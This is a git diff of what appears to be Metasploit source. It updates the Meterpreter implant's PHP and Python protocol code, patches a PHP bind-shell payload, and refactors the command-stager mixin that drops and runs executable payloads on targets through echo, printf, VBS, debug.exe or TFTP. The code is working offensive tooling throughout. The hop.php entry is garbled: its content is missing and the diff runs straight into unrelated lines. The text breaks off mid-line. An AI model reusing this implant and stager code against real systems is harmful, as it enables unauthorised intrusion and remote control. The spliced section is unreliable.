diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php index 20cbc03793..e2565f86d0 100755 --- a/data/meterpreter/ext_server_stdapi.php +++ b/data/meterpreter/ext_server_stdapi.php @@ -6,10 +6,10 @@ ## # General ## -define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600); +define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600); define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601); -define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630); -define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631); +define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630); +define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631); ## # Fs @@ -65,7 +65,7 @@ define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2)); define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3)); # Registry -define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000); +define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000); define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY); define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001); define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002); @@ -90,12 +90,12 @@ define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102); define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0)); # Process -define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000); +define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000); define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001); define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002); define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003); define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004); -define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005); +define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005); define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006); define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007); define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008); @@ -109,16 +109,16 @@ define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305); define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400); define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401); define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402); -define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403); -define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404); +define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403); +define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404); define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405); define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406); define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500); define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502); define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510); -define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511); -define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512); +define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511); +define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512); define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513); define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540); @@ -137,7 +137,7 @@ define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002); # Event Log ## define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000); -define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001); +define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001); define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002); define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003); diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index ed7e58701a..660072ad2b 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -252,6 +252,7 @@ TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) @@ -284,10 +285,10 @@ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 ## # General ## -TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 ## # Fs @@ -346,7 +347,7 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 ## # Registry ## -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 @@ -376,12 +377,12 @@ DELETE_KEY_FLAG_RECURSIVE = (1 << 0) ## # Process ## -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 @@ -397,16 +398,16 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 @@ -425,7 +426,7 @@ TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 # Event Log ## TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php index c33885d901..cd4580a58f 100755 --- a/data/meterpreter/meterpreter.php +++ b/data/meterpreter/meterpreter.php @@ -125,6 +125,7 @@ define("TLV_META_TYPE_STRING", (1 << 16)); define("TLV_META_TYPE_UINT", (1 << 17)); define("TLV_META_TYPE_RAW", (1 << 18)); define("TLV_META_TYPE_BOOL", (1 << 19)); +define("TLV_META_TYPE_QWORD", (1 << 20)); define("TLV_META_TYPE_COMPRESSED", (1 << 29)); define("TLV_META_TYPE_GROUP", (1 << 30)); define("TLV_META_TYPE_COMPLEX", (1 << 31)); @@ -655,6 +656,11 @@ function tlv_pack($tlv) { if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); } + elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { + $hi = ($tlv['value'] >> 32) & 0xFFFFFFFF; + $lo = $tlv['value'] & 0xFFFFFFFF; + $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); + } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } @@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) { my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); + # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing + # NULL, so catch that here + $tlv['value'] = str_replace("\0", "", $tlv['value']); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); } + elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { + $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); + $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; + } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); } @@ -911,7 +924,8 @@ function read($resource, $len=null) { $r = Array($resource); my_print("Calling select to see if there's data on $resource"); while (true) { - $cnt = stream_select($r, $w=NULL, $e=NULL, 0); + $w=NULL;$e=NULL;$t=0; + $cnt = stream_select($r, $w, $e, $t); # Stream is not ready to read, have to live with what we've gotten # so far @@ -1147,7 +1161,8 @@ add_reader($msgsock); # Main dispatch loop # $r=$GLOBALS['readers']; -while (false !== ($cnt = select($r, $w=null, $e=null, 1))) { +$w=NULL;$e=NULL;$t=1; +while (false !== ($cnt = select($r, $w, $e, $t))) { #my_print(sprintf("Returned from select with %s readers", count($r))); $read_failed = false; for ($i = 0; $i < $cnt; $i++) { diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 7ed0222f35..693f83a3c5 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -54,6 +54,7 @@ TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) @@ -150,6 +151,8 @@ def packet_enum_tlvs(pkt, tlv_type = None): val = str(val.split(NULL_BYTE, 1)[0]) elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + val = struct.unpack('>Q', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: val = bool(struct.unpack('b', val)[0]) elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: @@ -175,6 +178,8 @@ def tlv_pack(*args): data = "" if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + data = struct.pack('>IIQ', 16, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') else: diff --git a/data/php/bind_tcp.php b/data/php/bind_tcp.php index a92dfb864e..a987fd4b31 100755 --- a/data/php/bind_tcp.php +++ b/data/php/bind_tcp.php @@ -9,24 +9,27 @@ if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); + fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ipaddr, $port); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } -switch ($s_type) { +switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } @@ -40,7 +43,7 @@ $len = $a['len']; $b = ''; while (strlen($b) < $len) { - switch ($s_type) { + switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } diff --git a/data/php/hop.php b/data/php/hop.php new file mode 100644 index 0000000000..c9f323657a --- /dev/null +++ b/data/php/hop.php @@ -0,0 +1,68 @@ + Rex::Exploitation::CmdStagerBourne, + :debug_asm => Rex::Exploitation::CmdStagerDebugAsm, + :debug_write => Rex::Exploitation::CmdStagerDebugWrite, + :echo => Rex::Exploitation::CmdStagerEcho, + :printf => Rex::Exploitation::CmdStagerPrintf, + :vbs => Rex::Exploitation::CmdStagerVBS, + :vbs_adodb => Rex::Exploitation::CmdStagerVBS, + :tftp => Rex::Exploitation::CmdStagerTFTP + } + + # Constant for decoders - used when checking the default flavor decoder. + DECODERS = { + :debug_asm => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_asm"), + :debug_write => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_write"), + :vbs => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), + :vbs_adodb => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb") + } + + attr_accessor :stager_instance + attr_accessor :cmd_list + attr_accessor :flavor + attr_accessor :decoder + attr_accessor :exe + + # Creates an instance of an exploit that uses an CMD Stager and register the + # datastore options provided by the mixin. # - # Creates an instance of an exploit that uses an CmdStager overwrite. - # + # @param info [Hash] Hash containing information to initialize the exploit. + # @return [Msf::Module::Exploit] the exploit module. def initialize(info = {}) super - @cmd_list = nil - @stager_instance = nil + + flavors = module_flavors + flavors = STAGERS.keys if flavors.empty? + flavors.unshift('auto') + + register_advanced_options( + [ + OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]), + OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']) + ], self.class) end + # Executes the command stager while showing the progress. This method should + # be called from exploits using this mixin. # - # Execute the command stager while showing the progress - # + # @param opts [Hash] Hash containing configuration options. Also allow to + # send opts to the Rex::Exploitation::CmdStagerBase constructor. + # @option opts :flavor [Symbol] The CMD Stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @option opts :delay [Float] Delay between command executions. + # @return [void] def execute_cmdstager(opts = {}) - cmd_list = generate_cmdstager(opts) + self.cmd_list = generate_cmdstager(opts) - execute_cmdstager_begin(opts) + stager_instance.setup(self) - sent = 0 - total_bytes = 0 - cmd_list.each { |cmd| total_bytes += cmd.length } + begin + execute_cmdstager_begin(opts) - delay = opts[:delay] - delay ||= 0.25 + sent = 0 + total_bytes = 0 + cmd_list.each { |cmd| total_bytes += cmd.length } - cmd_list.each do |cmd| - execute_command(cmd, opts) - sent += cmd.length + delay = opts[:delay] + delay ||= 0.25 - # In cases where a server has multiple threads, we want to be sure that - # commands we execute happen in the correct (serial) order. - ::IO.select(nil, nil, nil, delay) + cmd_list.each do |cmd| + execute_command(cmd, opts) + sent += cmd.length - progress(total_bytes, sent) + # In cases where a server has multiple threads, we want to be sure that + # commands we execute happen in the correct (serial) order. + ::IO.select(nil, nil, nil, delay) + + progress(total_bytes, sent) + end + + execute_cmdstager_end(opts) + ensure + stager_instance.teardown(self) end - - execute_cmdstager_end(opts) end - # # Generates a cmd stub based on the current target's architecture - # and operating system. + # and platform. # + # @param opts [Hash] Hash containing configuration options. Also allow to + # send opts to the Rex::Exploitation::CmdStagerBase constructor. + # @option opts :flavor [Symbol] The CMD Stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @param pl [String] String containing the payload to execute + # @return [Array] The list of commands to execute + # @raise [ArgumentError] raised if the cmd stub can not be generated def generate_cmdstager(opts = {}, pl = nil) - pl ||= payload.encoded + select_cmdstager(opts) - @exe = generate_payload_exe + self.exe = generate_payload_exe(:code => pl) - @stager_instance = create_stager(@exe) - cmd_list = @stager_instance.generate(opts) + self.stager_instance = create_stager + cmd_list = stager_instance.generate(opts_with_decoder(opts)) - if (cmd_list.nil? or cmd_list.length < 1) + if (cmd_list.nil? || cmd_list.length < 1) print_error("The command stager could not be generated") raise ArgumentError end - @cmd_list = cmd_list + cmd_list end - - # - # Show the progress of the upload + # Show the progress of the upload while cmd staging # + # @param total [Float] The total number of bytes to send + # @param sent [Float] The number of bytes sent + # @return [void] def progress(total, sent) done = (sent.to_f / total.to_f) * 100 percent = "%3.2f%%" % done.to_f print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total]) end + # Selects the correct cmd stager and decoder stub to use # - # Methods to override - not used internally + # @param opts [Hash] Hash containing the options to select te correct cmd + # stager and decoder. + # @option opts :flavor [Symbol] The cmd stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @return [void] + # @raise [ArgumentError] raised if a cmd stager can not be selected or it + # isn't compatible with the target platform. + def select_cmdstager(opts = {}) + self.flavor = select_flavor(opts) + raise ArgumentError, "Unable to select CMD Stager" if flavor.nil? + raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor) + self.decoder = select_decoder(opts) + end + + + # Returns a hash with the :decoder option if possible # + # @params opts [Hash] Input Hash. + # @return [Hash] Hash with the input data and a :decoder option when + # possible. + def opts_with_decoder(opts = {}) + return opts if opts.include?(:decoder) + return opts.merge(:decoder => decoder) if decoder + opts + end + + + # Create an instance of the flavored stager. + # + # @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use. + # @raise [NoMethodError] raised if the flavor doesn't exist. + def create_stager + STAGERS[flavor].new(exe) + end + + # Returns the default decoder stub for the input flavor. + # + # @param f [Symbol] the input flavor. + # @return [Symbol] the decoder. + # @return [nil] if there isn't a default decoder to use for the current + # cmd stager flavor. + def default_decoder(f) + DECODERS[f] + end + + # Selects the correct cmd stager decoder to use based on three rules: (1) use + # the decoder provided in input options, (2) use the decoder provided by the + # user through datastore options, (3) select the default decoder for the + # current cmd stager flavor if available. + # + # @param opts [Hash] Hash containing the options to select te correct + # decoder. + # @option opts :decoder [String] The decoder stub to use. + # @return [String] The decoder. + # @return [nil] if a decoder can not be selected. + def select_decoder(opts = {}) + return opts[:decoder] if opts.include?(:decoder) + return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank? + default_decoder(flavor) + end + + # Selects the correct cmd stager to use based on three rules: (1) use the + # flavor provided in options, (2) use the flavor provided by the user + # through datastore options, (3) guess the flavor using the target platform. + # + # @param opts [Hash] Hash containing the options to select te correct cmd + # stager + # @option opts :flavor [Symbol] The cmd stager flavor to use. + # @return [Symbol] The flavor to use. + # @return [nil] if a flavor can not be selected. + def select_flavor(opts = {}) + return opts[:flavor].to_sym if opts.include?(:flavor) + unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto' + return datastore['CMDSTAGER::FLAVOR'].to_sym + end + guess_flavor + end + + # Guess the cmd stager flavor to use using information from the module, + # target or platform. + # + # @return [Symbol] The cmd stager flavor to use. + # @return [nil] if the cmd stager flavor can not be guessed. + def guess_flavor + # First try to guess a compatible flavor based on the module & target information. + unless target_flavor.nil? + case target_flavor.class.to_s + when 'Array' + return target_flavor[0].to_sym + when 'String' + return target_flavor.to_sym + when 'Symbol' + return target_flavor + end + end + + # Second try to guess a compatible flavor based on the target platform. + return nil unless target_platform.names.length == 1 + c_platform = target_platform.names.first + case c_platform + when /linux/i + :bourne + when /osx/i + :bourne + when /unix/i + :bourne + when /win/i + :vbs + else + nil + end + end + + # Returns all the compatible stager flavors specified by the module and each + # of it's targets. + # + # @return [Array] the list of all compatible cmd stager flavors. + def module_flavors + flavors = [] + flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor'] + targets.each do |target| + flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor'] + end + flavors.uniq! + flavors.map { |flavor| flavor.to_s } + end + + # Returns the compatible stager flavors for the current target or module. + # + # @return [Array] the list of compatible cmd stager flavors. + # @return [Symbol] the compatible cmd stager flavor. + # @return [String] the compatible cmd stager flavor. + # @return [nil] if there isn't any compatible flavor defined. + def target_flavor + return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor'] + return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor'] + nil + end + + # Answers if the input flavor is compatible with the current target or module. + # + # @param f [Symbol] The flavor to check + # @returns [Boolean] true if compatible, false otherwise. + def compatible_flavor?(f) + return true if target_flavor.nil? + case target_flavor.class.to_s + when 'String' + return true if target_flavor == f.to_s + when 'Array' + target_flavor.each { |tr| return true if tr.to_sym == f } + when 'Symbol' + return true if target_flavor == f + end + false + end + + # Code to execute before the cmd stager stub. This method is designed to be + # overriden by a module this mixin. + # + # @param opts [Hash] Hash of configuration options. def execute_cmdstager_begin(opts) end + + # Code to execute after the cmd stager stub. This method is designed to be + # overriden by a module this mixin. + # + # @param opts [Hash] Hash of configuration options. def execute_cmdstager_end(opts) end -end + # Code to execute each command from the. This method is designed to be + # overriden by a module using this mixin. + # + # @param opts [Hash] Hash of configuration options. + def execute_command(cmd, opts) + raise NotImplementedError + end end +end diff --git a/lib/msf/core/exploit/cmdstager_bourne.rb b/lib/msf/core/exploit/cmdstager_bourne.rb deleted file mode 100644 index f4859105c7..0000000000 --- a/lib/msf/core/exploit/cmdstager_bourne.rb +++ /dev/null @@ -1,21 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerBourne - - include Msf::Exploit::CmdStager - - def create_stager(exe) - Rex::Exploitation::CmdStagerBourne.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_debug_asm.rb b/lib/msf/core/exploit/cmdstager_debug_asm.rb deleted file mode 100644 index acaeed53d0..0000000000 --- a/lib/msf/core/exploit/cmdstager_debug_asm.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerDebugAsm - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The debug.exe assembly listing decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerDebugAsm.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_debug_write.rb b/lib/msf/core/exploit/cmdstager_debug_write.rb deleted file mode 100644 index 53ded3ab55..0000000000 --- a/lib/msf/core/exploit/cmdstager_debug_write.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerDebugWrite - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The debug.exe file-writing decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerDebugWrite.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_echo.rb b/lib/msf/core/exploit/cmdstager_echo.rb deleted file mode 100644 index a4e45d3daa..0000000000 --- a/lib/msf/core/exploit/cmdstager_echo.rb +++ /dev/null @@ -1,34 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -#### -# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho. -# -# This stager uses the echo's "-e" flag, that enable interpretation of -# backslash escapes, to drop an ELF with the payload embedded to disk. -# The "-e" flag is usually available on linux environments. This stager -# has been found useful on restricted linux based embedded devices, and -# should work on either: -# * Systems with busy box's echo binary somewhere in $PATH. -# * Systems with bash/zsh whose echo builtin supports -en flags. -# * Systems with GNU coreutils echo which supports -en flags. -# -#### - -module Exploit::CmdStagerEcho - - include Msf::Exploit::CmdStager - - # Initializes a CmdStagerEcho instance for the supplied payload - # - # @param exe [String] The payload embedded into an ELF - # @return [Rex::Exploitation::CmdStagerEcho] Stager instance - def create_stager(exe) - Rex::Exploitation::CmdStagerEcho.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb deleted file mode 100644 index faad1f9d2a..0000000000 --- a/lib/msf/core/exploit/cmdstager_printf.rb +++ /dev/null @@ -1,27 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -#### -# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf. -# -# This stager uses a POSIX-conformant printf, that supports the interpretation -# of octal escapes, to drop an ELF with the payload embedded to disk. -#### - -module Exploit::CmdStagerPrintf - - include Msf::Exploit::CmdStager - - # Initializes a CmdStagerPrintf instance for the supplied payload - # - # @param exe [String] The payload embedded into an ELF - # @return [Rex::Exploitation::CmdStagerPrintf] Stager instance - def create_stager(exe) - Rex::Exploitation::CmdStagerPrintf.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_tftp.rb b/lib/msf/core/exploit/cmdstager_tftp.rb deleted file mode 100644 index d827f2ac05..0000000000 --- a/lib/msf/core/exploit/cmdstager_tftp.rb +++ /dev/null @@ -1,67 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'msf/core/exploit/tftp' -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerTFTP - - include Msf::Exploit::CmdStager - include Msf::Exploit::TFTPServer - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'TFTPHOST', [ false, 'The address of the machine hosting the file via TFTP.' ]), - OptString.new( 'TFTPRSRC', [ false, 'The filename of the TFTP-hosted 